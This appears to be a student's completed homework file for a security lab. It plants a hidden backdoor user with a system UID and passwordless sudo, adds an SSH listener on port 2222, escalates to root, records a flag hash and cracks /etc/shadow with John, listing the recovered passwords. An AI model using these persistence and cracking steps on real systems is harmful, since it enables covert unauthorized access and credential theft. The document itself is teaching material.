

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

Step 1: Shadow People

1. Create a secret user named sysd. Make sure this user doesn't have a home folder created:
 - **sudo adduser sysd**
2. Give your secret user a password:
 - **sudo passwd sysd**
3. Give your secret user a system UID < 1000:
 - **sudo usermod -u 500 sysd**
4. Give your secret user the same GID:
 - **sudo groupmod -g 500 sysd**
5. Give your secret user full sudo access without the need for a password:
 - **sudo visudo**
6. Test that sudo access works without your password:

sysd ALL=(ALL) NOPASSWD: ALL

Step 2: Smooth Sailing

1. Edit the sshd_config file:

Port 22

Port 2222

Step 3: Testing Your Configuration Update

1. Restart the SSH service:
 - **service ssh restart**
2. Exit the root account:
 - **exit and exit again**

3. SSH to the target machine using your sysd account and port 2222:

- **ssh sysd@192.168.6.105 -p 2222**

4. Use sudo to switch to the root user:

- **sudo su root**

You found flag_7:\$1\$zmr05X2t\$QfOdeJVDpph5pBPpVL6oy0

challenge. (flag_7)

Step 4: Crack All the Passwords

1. SSH back to the system using your sysd account and port 2222:

- **ssh sysd@192.168.6.105 -p 2222**

2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:

- **sudo john /etc/shadow**

computer (stallman)

freedom (babbage)

trustno1 (mitnik)

dragon (lovelace)

123456 (sysd)

lakers (turing)

passw0rd (sysadmin)

Goodluck! (student)

